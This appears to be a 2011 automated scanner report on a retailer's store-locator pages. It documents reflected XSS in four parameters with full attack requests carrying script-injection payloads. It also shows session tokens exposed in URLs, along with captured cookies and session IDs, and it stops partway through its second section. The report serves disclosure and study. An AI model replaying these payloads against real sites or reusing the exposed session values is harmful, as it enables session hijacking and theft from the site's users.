XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, sites.target.com

Report generated by XSS.CX at Sun Aug 21 12:07:37 GMT-06:00 2011.

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1. Cross-site scripting (reflected)

XSS in sites.target.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86

1.1. http://sites.target.com/site/en/spot/search_results.jsp [&mapType parameter]

1.2. http://sites.target.com/site/en/spot/search_results.jsp [_requestid parameter]

1.3. http://sites.target.com/site/en/spot/search_results.jsp [name of an arbitrarily supplied request parameter]

1.4. http://sites.target.com/site/en/spot/search_results.jsp [startAddress parameter]

2. Session token in URL

2.1. http://sites.target.com/site/en/spot/page.jsp

2.2. http://sites.target.com/site/en/spot/search_results.jsp

3. Flash cross-domain policy

4. Cross-domain Referer leakage

4.1. http://sites.target.com/site/en/spot/page.jsp

4.2. http://sites.target.com/site/en/spot/search_results.jsp

5. TRACE method is enabled

6. Email addresses disclosed

6.1. http://sites.target.com/css/sl_reset.css

6.2. http://sites.target.com/js/store_locator.1.0.js

7. Robots.txt file


1. Cross-site scripting (reflected)  next
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://sites.target.com/site/en/spot/search_results.jsp [&mapType parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sites.target.com
Path:   /site/en/spot/search_results.jsp

Issue detail

The value of the &mapType request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ffd94"><script>alert(1)</script>f26374a3592 was submitted in the &mapType parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /site/en/spot/search_results.jsp?&mapType=standardffd94"><script>alert(1)</script>f26374a3592&startAddress=10010&startingLat=40.73941121025517&startingLong=-73.98414463671456&_requestid=1835350 HTTP/1.1
Host: sites.target.com
Proxy-Connection: keep-alive
Referer: http://sites.target.com/site/en/spot/page.jsp?title=store_locator_new
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TargetStoreLocator=mapType%3Aenhanced%3BendAtStore%3A%3Bmode%3ASS; v1st=9C2B51AA83FFEFBB; session-id-time=1314428400l; session-id=181-4362708-8879269; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221313884055506_259812%22%2C%22pv%22%3A2%2C%22to%22%3A3.6%2C%22c%22%3A%22http%3A%2F%2Fwww.target.com%2Fstories.htm%22%2C%22lc%22%3A%7B%22d2%22%3A%7B%22v%22%3A2%2C%22s%22%3Afalse%7D%7D%2C%22cd%22%3A2%2C%22sd%22%3A2%2C%22cp%22%3A%7B%22visualScienceId%22%3A%229C2B51AA83FFEFBB%22%7D%2C%22f%22%3A1313884062779%7D; __utma=117781004.936656148.1313884225.1313884225.1313884225.1; __utmb=117781004.3.10.1313884225; __utmc=117781004; __utmz=117781004.1313884225.1.1.utmcsr=news.target.com|utmccn=(referral)|utmcmd=referral|utmcct=/phoenix.zhtml; JSESSIONID=0000X5k5zYwhoQ0t0xL5TPVTGy-:13rvrsmun; ubid-acbta=179-5582498-2646469; ForeseeLoyalty_MID_YsVE8kdEt0=2

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 23:53:53 GMT
Server: IBM_HTTP_Server
X-ATG-Version: UNKNOWN [ DPSLicense/0 ]
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 164456

   
                                                                                                       <!-- commenting since port number is not required
   
        prodMode = mode; %>
   
   
                                                                                                                           
...[SNIP]...
<a href="search_results_print.jsp?&mapType=standardffd94"><script>alert(1)</script>f26374a3592&startAddress=10010&startingLat=40.73941121025517&startingLong=-73.98414463671456&_requestid=1835350" target="_blank">
...[SNIP]...
1.2. http://sites.target.com/site/en/spot/search_results.jsp [_requestid parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sites.target.com
Path:   /site/en/spot/search_results.jsp

Issue detail

The value of the _requestid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 62595"><script>alert(1)</script>b7442e85323 was submitted in the _requestid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /site/en/spot/search_results.jsp?&mapType=standard&startAddress=10010&startingLat=40.73941121025517&startingLong=-73.98414463671456&_requestid=183535062595"><script>alert(1)</script>b7442e85323 HTTP/1.1
Host: sites.target.com
Proxy-Connection: keep-alive
Referer: http://sites.target.com/site/en/spot/page.jsp?title=store_locator_new
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TargetStoreLocator=mapType%3Aenhanced%3BendAtStore%3A%3Bmode%3ASS; v1st=9C2B51AA83FFEFBB; session-id-time=1314428400l; session-id=181-4362708-8879269; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221313884055506_259812%22%2C%22pv%22%3A2%2C%22to%22%3A3.6%2C%22c%22%3A%22http%3A%2F%2Fwww.target.com%2Fstories.htm%22%2C%22lc%22%3A%7B%22d2%22%3A%7B%22v%22%3A2%2C%22s%22%3Afalse%7D%7D%2C%22cd%22%3A2%2C%22sd%22%3A2%2C%22cp%22%3A%7B%22visualScienceId%22%3A%229C2B51AA83FFEFBB%22%7D%2C%22f%22%3A1313884062779%7D; __utma=117781004.936656148.1313884225.1313884225.1313884225.1; __utmb=117781004.3.10.1313884225; __utmc=117781004; __utmz=117781004.1313884225.1.1.utmcsr=news.target.com|utmccn=(referral)|utmcmd=referral|utmcct=/phoenix.zhtml; JSESSIONID=0000X5k5zYwhoQ0t0xL5TPVTGy-:13rvrsmun; ubid-acbta=179-5582498-2646469; ForeseeLoyalty_MID_YsVE8kdEt0=2

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 23:56:09 GMT
Server: IBM_HTTP_Server
X-ATG-Version: UNKNOWN [ DPSLicense/0 ]
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 163069

   
                                                                                                       <!-- commenting since port number is not required
   
        prodMode = mode; %>
   
   
                                                                                                                           
...[SNIP]...
<a href="search_results_print.jsp?&mapType=standard&startAddress=10010&startingLat=40.73941121025517&startingLong=-73.98414463671456&_requestid=183535062595"><script>alert(1)</script>b7442e85323" target="_blank">
...[SNIP]...
1.3. http://sites.target.com/site/en/spot/search_results.jsp [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sites.target.com
Path:   /site/en/spot/search_results.jsp

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3fbd8"><script>alert(1)</script>ae24888f415 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /site/en/spot/search_results.jsp?&mapType=standard&startAddress=10010&startingLat=40.73941121025517&startingLong=-73.98414463671456&_requestid=1835350&3fbd8"><script>alert(1)</script>ae24888f415=1 HTTP/1.1
Host: sites.target.com
Proxy-Connection: keep-alive
Referer: http://sites.target.com/site/en/spot/page.jsp?title=store_locator_new
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TargetStoreLocator=mapType%3Aenhanced%3BendAtStore%3A%3Bmode%3ASS; v1st=9C2B51AA83FFEFBB; session-id-time=1314428400l; session-id=181-4362708-8879269; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221313884055506_259812%22%2C%22pv%22%3A2%2C%22to%22%3A3.6%2C%22c%22%3A%22http%3A%2F%2Fwww.target.com%2Fstories.htm%22%2C%22lc%22%3A%7B%22d2%22%3A%7B%22v%22%3A2%2C%22s%22%3Afalse%7D%7D%2C%22cd%22%3A2%2C%22sd%22%3A2%2C%22cp%22%3A%7B%22visualScienceId%22%3A%229C2B51AA83FFEFBB%22%7D%2C%22f%22%3A1313884062779%7D; __utma=117781004.936656148.1313884225.1313884225.1313884225.1; __utmb=117781004.3.10.1313884225; __utmc=117781004; __utmz=117781004.1313884225.1.1.utmcsr=news.target.com|utmccn=(referral)|utmcmd=referral|utmcct=/phoenix.zhtml; JSESSIONID=0000X5k5zYwhoQ0t0xL5TPVTGy-:13rvrsmun; ubid-acbta=179-5582498-2646469; ForeseeLoyalty_MID_YsVE8kdEt0=2

Response

HTTP/1.1 200 OK
Date: Sun, 21 Aug 2011 00:04:06 GMT
Server: IBM_HTTP_Server
X-ATG-Version: UNKNOWN [ DPSLicense/0 ]
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 163107

   
                                                                                                       <!-- commenting since port number is not required
   
        prodMode = mode; %>
   
   
                                                                                                                           
...[SNIP]...
<a href="search_results_print.jsp?&mapType=standard&startAddress=10010&startingLat=40.73941121025517&startingLong=-73.98414463671456&_requestid=1835350&3fbd8"><script>alert(1)</script>ae24888f415=1" target="_blank">
...[SNIP]...
1.4. http://sites.target.com/site/en/spot/search_results.jsp [startAddress parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://sites.target.com
Path:   /site/en/spot/search_results.jsp

Issue detail

The value of the startAddress request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8df8d"><script>alert(1)</script>376bcc52721 was submitted in the startAddress parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /site/en/spot/search_results.jsp?&mapType=standard&startAddress=100108df8d"><script>alert(1)</script>376bcc52721&startingLat=40.73941121025517&startingLong=-73.98414463671456&_requestid=1835350 HTTP/1.1
Host: sites.target.com
Proxy-Connection: keep-alive
Referer: http://sites.target.com/site/en/spot/page.jsp?title=store_locator_new
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TargetStoreLocator=mapType%3Aenhanced%3BendAtStore%3A%3Bmode%3ASS; v1st=9C2B51AA83FFEFBB; session-id-time=1314428400l; session-id=181-4362708-8879269; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221313884055506_259812%22%2C%22pv%22%3A2%2C%22to%22%3A3.6%2C%22c%22%3A%22http%3A%2F%2Fwww.target.com%2Fstories.htm%22%2C%22lc%22%3A%7B%22d2%22%3A%7B%22v%22%3A2%2C%22s%22%3Afalse%7D%7D%2C%22cd%22%3A2%2C%22sd%22%3A2%2C%22cp%22%3A%7B%22visualScienceId%22%3A%229C2B51AA83FFEFBB%22%7D%2C%22f%22%3A1313884062779%7D; __utma=117781004.936656148.1313884225.1313884225.1313884225.1; __utmb=117781004.3.10.1313884225; __utmc=117781004; __utmz=117781004.1313884225.1.1.utmcsr=news.target.com|utmccn=(referral)|utmcmd=referral|utmcct=/phoenix.zhtml; JSESSIONID=0000X5k5zYwhoQ0t0xL5TPVTGy-:13rvrsmun; ubid-acbta=179-5582498-2646469; ForeseeLoyalty_MID_YsVE8kdEt0=2

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 23:54:34 GMT
Server: IBM_HTTP_Server
X-ATG-Version: UNKNOWN [ DPSLicense/0 ]
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 165562

   
                                                                                                       <!-- commenting since port number is not required
   
        prodMode = mode; %>
   
   
                                                                                                                           
...[SNIP]...
<a href="search_results_print.jsp?&mapType=standard&startAddress=100108df8d"><script>alert(1)</script>376bcc52721&startingLat=40.73941121025517&startingLong=-73.98414463671456&_requestid=1835350" target="_blank">
...[SNIP]...
2. Session token in URL  previous  next
There are 2 instances of this issue:

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.

2.1. http://sites.target.com/site/en/spot/page.jsp  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://sites.target.com
Path:   /site/en/spot/page.jsp

Issue detail

The response contains the following links that appear to contain session tokens:

Request

POST /site/en/spot/page.jsp?title=store_locator_new HTTP/1.1
Host: sites.target.com
Proxy-Connection: keep-alive
Referer: http://sites.target.com/site/en/spot/page.jsp?title=store_locator
Content-Length: 0
Cache-Control: max-age=0
Origin: http://sites.target.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: v1st=9C2B51AA83FFEFBB; session-id-time=1314428400l; session-id=181-4362708-8879269; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221313884055506_259812%22%2C%22pv%22%3A2%2C%22to%22%3A3.6%2C%22c%22%3A%22http%3A%2F%2Fwww.target.com%2Fstories.htm%22%2C%22lc%22%3A%7B%22d2%22%3A%7B%22v%22%3A2%2C%22s%22%3Afalse%7D%7D%2C%22cd%22%3A2%2C%22sd%22%3A2%2C%22cp%22%3A%7B%22visualScienceId%22%3A%229C2B51AA83FFEFBB%22%7D%2C%22f%22%3A1313884062779%7D; __utma=117781004.936656148.1313884225.1313884225.1313884225.1; __utmb=117781004.3.10.1313884225; __utmc=117781004; __utmz=117781004.1313884225.1.1.utmcsr=news.target.com|utmccn=(referral)|utmcmd=referral|utmcct=/phoenix.zhtml; JSESSIONID=0000X5k5zYwhoQ0t0xL5TPVTGy-:13rvrsmun

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 23:50:55 GMT
Server: IBM_HTTP_Server
X-ATG-Version: UNKNOWN [ DPSLicense/0 ]
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Content-Length: 53545


<html>
<head>
<META http-equiv="Content-Type" content
...[SNIP]...
<li class="first-child"><a href="http://sites.target.com/site/en/spot/page.jsp?title=store_locator_new&ref=nav_storelocator&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="Find a Store">Find a Store</a>
...[SNIP]...
<li><a href="http://sites.target.com/site/en/spot/page.jsp?title=photo_center&ref=nav_targetphoto&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="Photo">Photo</a>
...[SNIP]...
<li><a href="http://sites.target.com/site/en/health/page.jsp?ref=nav_pharmacy&contentId=PRD03-004033&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="Pharmacy">Pharmacy</a>
...[SNIP]...
<li class="last-child"><a href="http://weeklyad.target.com/target/default.aspx?ref=nav_weeklyad&action=entryflash&token=18C6D162883B86E6F2B73C3C0C4C4A79D22D15AE" title="Weekly Ad">WeeklyAd</a>
...[SNIP]...
<map name="redcardmap">
<area href="https://www.target.com:443/gp/redirect.html/ref=nav_footer_cardimage?location=https://redcard.target.com/redcard/content/rcw_tck_application&token=ADB6F1B5CE23BEDE2855CB195F59EDFB68240C7D"
alt="RED Cards. Save 5 Percent Upon Credit Approval."
shape="RECT"
coords="5,7,133,45"
/>
<area href="https://www.target.com:443/gp/redirect.html/ref=nav_footer_save10?location=https://redcard.target.com/redcard/content/rcw_tck_application&token=ADB6F1B5CE23BEDE2855CB195F59EDFB68240C7D"
alt="RED Cards. Save 5 Percent Upon Credit Approval."
shape="RECT"
coords="7,48,133,81"
/>
</map >
...[SNIP]...
<li><a title="Apply for a REDcard Now" href="https://www.target.com:443/gp/redirect.html?_encoding=UTF8&location=https://redcard.target.com/redcard/content/rcw_tck_application?src=9201&ref=nav_footer_apply&token=ADB6F1B5CE23BEDE2855CB195F59EDFB68240C7D">Apply</a>
...[SNIP]...
<li><a title="Manage My REDcard Account" href="https://www.target.com:443/gp/redirect.html?_encoding=UTF8&location=https://redcard.target.com/redcard/content/rcw_manage?ref=nav_footer_managemyacct&token=ADB6F1B5CE23BEDE2855CB195F59EDFB68240C7D">Manage My Account</a>
...[SNIP]...
<li><a title="REDcard Benefits" href="https://redcard.target.com/redcard/content/rcw_benefits_tgt_rewards?ref=nav_footer_cardbenefits&token=A6648CCDF9A16F64416047AFB64C389384D09226">Card Benefits</a>
...[SNIP]...
<li><a title="Target Business Card" href="http://redcard.target.com/redcard/content/rcw_targetbank%5Fbc%5Fmain?ref=nav_footer_targetbuscard&token=A6648CCDF9A16F64416047AFB64C389384D09226">Target Business Card</a>
...[SNIP]...
<li><a title="Find a Store" href="http://sites.target.com/site/en/spot/page.jsp?title=store_locator_new&ref=nav_footer_storelocator&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358">Find a Store</a>
...[SNIP]...
<li><a title="Weekly Ad" href="http://weeklyad.target.com/target/default.aspx?ref=nav_footer_weeklyad&action=entryflash&token=18C6D162883B86E6F2B73C3C0C4C4A79D22D15AE">Weekly Ad</a>
...[SNIP]...
<li><a title="Coupons" href="http://coupons.target.com/mcp/?id=8a26421c-0c7a-4359-a567-33400958fc0e&ref=nav_footer_coupon&token=A34D6D1A1B421FA679F4C880B04F0F85EBA87E61">Coupons</a>
...[SNIP]...
<li><a title="Photo" href="http://sites.target.com/site/en/spot/page.jsp?title=photo_center&ref=nav_footer_photo&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358">Photo</a>
...[SNIP]...
<li><a title="Portrait Studio" href="http://sites.target.com/site/en/spot/page.jsp?title=portrait_studio&ref=nav_footer_portrait&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358">Portrait Studio</a>
...[SNIP]...
<li><a title="Optical" href="http://target.com/target_group/stores%5Fservices/optical.jhtml?ref=nav_footer_optical&token=D62F194C2502656F9210694289070A08EB44BFD0">Optical</a>
...[SNIP]...
<li><a title="Pharmacy" href="http://sites.target.com/site/en/health/page.jsp?ref=nav_footer_pharmacy&contentId=PRD03-004033&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358">Pharmacy</a>
...[SNIP]...
<li><a title="Mobile" href="http://sites.target.com/site/en/spot/page.jsp?title=mobile_landing&ref=nav_footer_mobile&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358">Mobile</a>
...[SNIP]...
<li><a title="About Target" href="http://sites.target.com/site/en/company/page.jsp?ref=nav_footer_about&contentId=WCMP04-032391&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" rel="nofollow">About Target</a>
...[SNIP]...
<li><a title="Careers" href="http://sites.target.com/site/en/company/page.jsp?ref=nav_footer_careers&contentId=WCMP04-030796&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" rel="nofollow">Careers</a>
...[SNIP]...
<li><a title="Community" href="http://sites.target.com/site/en/company/page.jsp?ref=nav_footer_community&contentId=WCMP04-031700&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" rel="nofollow">Community</a>
...[SNIP]...
<li><a title="Pressroom" href="http://pressroom.target.com/pr/news/news.aspx?ref=nav_footer_news&token=EF44EA2ED3C0F97CE9AD4B23979C08B540C5061C">Pressroom</a>
...[SNIP]...
<li><a title="Investors" href="http://investors.target.com/phoenix.zhtml?p=irol-irhome&ref=nav_footer_investors&c=65828&token=37F4B25D99F5B2724230FE603FF785C4A1CBCA27" rel="nofollow">Investors</a>
...[SNIP]...
<li><a title="Diversity" href="http://sites.target.com/site/en/company/page.jsp?ref=nav_footer_diversity&contentId=WCMP04-031762&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" rel="nofollow">Diversity</a>
...[SNIP]...
<li><a title="Take Charge of Education" href="http://sites.target.com/site/en/corporate/page.jsp?ref=nav_footer_TCOE&contentId=PRD03-001825&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" rel="nofollow">Take Charge of Education</a>
...[SNIP]...
<li><a title="Team Member Services" href="http://sites.target.com/site/en/spot/page.jsp?title=team_services&ref=nav_footer_teammember&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" rel="nofollow">Team Member Services</a>
...[SNIP]...
<li><a title="Opens in a new window" href="http://secure.nfb.org/nfbnva/public/verify.aspx?NVACert=140&companyName=Target&token=FC345A3C795B0D27CA446D457B9F0080A2E8065F" rel="nofollow" target="_blank">NFB-NVA Gold Certified</a>
...[SNIP]...
<br/>
<a href="http://www.target.com/gp/redirect.html?_encoding=UTF8&amp;location=http://sites.target.com/site/en/spot/page.jsp?title=privacy_policy&amp;token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="Privacy and Security">Privacy + Security</a>
...[SNIP]...
</a> | <a href="http://www.target.com/gp/redirect.html?_encoding=UTF8&amp;location=http://sites.target.com/site/en/spot/page.jsp?title=terms_conditions&amp;token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="Terms and Conditions">Terms + Conditions</a>
...[SNIP]...
<br/>
<a href="http://www.target.com/gp/redirect.html?_encoding=UTF8&amp;location=http://sites.target.com/site/en/spot/page.jsp?title=privacy_policy_ca&amp;token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="California Privacy Rights">California Privacy Rights</a>
...[SNIP]...
2.2. http://sites.target.com/site/en/spot/search_results.jsp  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://sites.target.com
Path:   /site/en/spot/search_results.jsp

Issue detail

The response contains the following links that appear to contain session tokens:

Request

GET /site/en/spot/search_results.jsp?&mapType=standard&startAddress=10010&startingLat=40.73941121025517&startingLong=-73.98414463671456&_requestid=1835350 HTTP/1.1
Host: sites.target.com
Proxy-Connection: keep-alive
Referer: http://sites.target.com/site/en/spot/page.jsp?title=store_locator_new
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TargetStoreLocator=mapType%3Aenhanced%3BendAtStore%3A%3Bmode%3ASS; v1st=9C2B51AA83FFEFBB; session-id-time=1314428400l; session-id=181-4362708-8879269; fsr.s=%7B%22v%22%3A1%2C%22rid%22%3A%221313884055506_259812%22%2C%22pv%22%3A2%2C%22to%22%3A3.6%2C%22c%22%3A%22http%3A%2F%2Fwww.target.com%2Fstories.htm%22%2C%22lc%22%3A%7B%22d2%22%3A%7B%22v%22%3A2%2C%22s%22%3Afalse%7D%7D%2C%22cd%22%3A2%2C%22sd%22%3A2%2C%22cp%22%3A%7B%22visualScienceId%22%3A%229C2B51AA83FFEFBB%22%7D%2C%22f%22%3A1313884062779%7D; __utma=117781004.936656148.1313884225.1313884225.1313884225.1; __utmb=117781004.3.10.1313884225; __utmc=117781004; __utmz=117781004.1313884225.1.1.utmcsr=news.target.com|utmccn=(referral)|utmcmd=referral|utmcct=/phoenix.zhtml; JSESSIONID=0000X5k5zYwhoQ0t0xL5TPVTGy-:13rvrsmun; ubid-acbta=179-5582498-2646469; ForeseeLoyalty_MID_YsVE8kdEt0=2

Response

HTTP/1.1 200 OK
Date: Sat, 20 Aug 2011 23:51:45 GMT
Server: IBM_HTTP_Server
X-ATG-Version: UNKNOWN [ DPSLicense/0 ]
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 103509

   
                                                                                                       <!-- commenting since port number is not required
   
        prodMode = mode; %>
   
   
                                                                                                                           
...[SNIP]...
<li class="first-child"><a href="http://sites.target.com/site/en/spot/page.jsp?title=store_locator_new&ref=nav_storelocator&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="Find a Store">Find a Store</a>
...[SNIP]...
<li><a href="http://sites.target.com/site/en/spot/page.jsp?title=photo_center&ref=nav_targetphoto&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="Photo">Photo</a>
...[SNIP]...
<li><a href="http://sites.target.com/site/en/health/page.jsp?ref=nav_pharmacy&contentId=PRD03-004033&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358" title="Pharmacy">Pharmacy</a>
...[SNIP]...
<li class="last-child"><a href="http://weeklyad.target.com/target/default.aspx?ref=nav_weeklyad&action=entryflash&token=18C6D162883B86E6F2B73C3C0C4C4A79D22D15AE" title="Weekly Ad">WeeklyAd</a>
...[SNIP]...
<map name="redcardmap">
<area href="https://www.target.com:443/gp/redirect.html/ref=nav_footer_cardimage?location=https://redcard.target.com/redcard/content/rcw_tck_application&token=ADB6F1B5CE23BEDE2855CB195F59EDFB68240C7D"
alt="RED Cards. Save 5 Percent Upon Credit Approval."
shape="RECT"
coords="5,7,133,45"
/>
<area href="https://www.target.com:443/gp/redirect.html/ref=nav_footer_save10?location=https://redcard.target.com/redcard/content/rcw_tck_application&token=ADB6F1B5CE23BEDE2855CB195F59EDFB68240C7D"
alt="RED Cards. Save 5 Percent Upon Credit Approval."
shape="RECT"
coords="7,48,133,81"
/>
</map >
...[SNIP]...
<li><a title="Apply for a REDcard Now" href="https://www.target.com:443/gp/redirect.html?_encoding=UTF8&location=https://redcard.target.com/redcard/content/rcw_tck_application?src=9201&ref=nav_footer_apply&token=ADB6F1B5CE23BEDE2855CB195F59EDFB68240C7D">Apply</a>
...[SNIP]...
<li><a title="Manage My REDcard Account" href="https://www.target.com:443/gp/redirect.html?_encoding=UTF8&location=https://redcard.target.com/redcard/content/rcw_manage?ref=nav_footer_managemyacct&token=ADB6F1B5CE23BEDE2855CB195F59EDFB68240C7D">Manage My Account</a>
...[SNIP]...
<li><a title="REDcard Benefits" href="https://redcard.target.com/redcard/content/rcw_benefits_tgt_rewards?ref=nav_footer_cardbenefits&token=A6648CCDF9A16F64416047AFB64C389384D09226">Card Benefits</a>
...[SNIP]...
<li><a title="Target Business Card" href="http://redcard.target.com/redcard/content/rcw_targetbank%5Fbc%5Fmain?ref=nav_footer_targetbuscard&token=A6648CCDF9A16F64416047AFB64C389384D09226">Target Business Card</a>
...[SNIP]...
<li><a title="Find a Store" href="http://sites.target.com/site/en/spot/page.jsp?title=store_locator_new&ref=nav_footer_storelocator&token=4CEFD3F532718138FC74C8493BFFB0B3645CA358">Find a Store</a>
...[SNIP]...
<li><a title="Weekly Ad" href="http://weeklyad.target.com/target/default.aspx?ref=nav_footer_weeklyad&action=entryflash&token=18C6D162883B86E6F2B73C3C0C4C4A79D22D15AE">Weekly Ad</a>
...[SNIP]...
<li><a title="Coupons" href="http://coupons.target.com/mcp/?id=8a26421c-0c7a-4359-a567-33400958fc0e&ref=nav_footer_coupon&token=A34D6D1A1B421FA679F4C880B04F0F85EBA87E61">Coupons</a>
...[SNIP]...
